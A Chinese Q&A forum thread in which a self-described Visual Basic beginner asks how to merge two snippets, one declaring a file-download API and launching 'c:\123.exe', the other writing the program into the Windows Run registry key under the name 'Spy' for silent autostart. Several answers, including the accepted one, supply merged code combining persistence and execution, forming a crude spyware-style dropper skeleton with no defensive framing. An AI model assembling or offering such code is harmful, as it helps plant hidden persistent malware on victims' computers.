如何将不同功能的两段VB代码合并在一起
代码一:PrivateDeclareFunctionURLDownloadToFileLib"urlmon"Alias"URLDownloadToFileA"(ByVal...
代码一:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_load()
shell "c;\123.exe"
End Sub
代码二:
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
End Sub
这是两段代码
是两个功能了
想把他拼在一起,代码如何写!!
我是VB初学者!!!请帮忙!!!
谢谢!!!!! 展开
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_load()
shell "c;\123.exe"
End Sub
代码二:
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
End Sub
这是两段代码
是两个功能了
想把他拼在一起,代码如何写!!
我是VB初学者!!!请帮忙!!!
谢谢!!!!! 展开
3个回答
展开全部
Private Declare
的语句放在一起
Private Sub xxx
的放在一起,xxx要相同,当然也可以不同,看你怎么用了。
的语句放在一起
Private Sub xxx
的放在一起,xxx要相同,当然也可以不同,看你怎么用了。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
shell "c:\123.exe"
End Sub
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
shell "c:\123.exe"
End Sub
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
'没有能够到API我就把他去掉了
Private Sub Form_load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
shell "c;\123.exe"
End Sub
Private Sub Form_load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
shell "c;\123.exe"
End Sub
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询